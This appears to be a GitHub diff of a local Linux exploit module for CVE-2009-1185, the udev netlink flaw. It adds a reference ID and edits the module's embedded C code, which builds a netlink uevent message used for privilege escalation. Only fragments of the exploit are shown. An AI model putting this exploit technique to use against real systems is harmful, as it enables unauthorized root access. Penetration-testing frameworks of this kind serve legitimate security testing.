File tree Expand file tree Collapse file tree 1 file changed +6
-1
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +6
-1
lines changed Original file line number Diff line number Diff line change @@ -51,7 +51,8 @@ def initialize(info={})
51
51
'References' =>
52
52
[
53
53
[ 'CVE' , '2009-1185' ] ,
54
- [ 'BID' , '34536' ] ,
54
+ [ 'OSVDB' , '53810' ] ,
55
+ [ 'BID' , '34536' ]
55
56
] ,
56
57
'Targets' =>
57
58
[
@@ -148,6 +149,7 @@ def exploit
148
149
main = %Q^
149
150
#include <string.h>
150
151
#include <linux/netlink.h>
152
+ #define NULL 0
151
153
152
154
int main() {
153
155
int sock;
@@ -166,6 +168,9 @@ def exploit
166
168
msg.msg_namelen = sizeof(sa);
167
169
msg.msg_iov = &iov;
168
170
msg.msg_iovlen = 1;
171
+ msg.msg_control = NULL;
172
+ msg.msg_controllen = 0;
173
+ msg.msg_flags = 0;
169
174
170
175
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
171
176
bind(sock, (struct sockaddr *) &sa, sizeof(sa));
You can’t perform that action at this time.
0 commit comments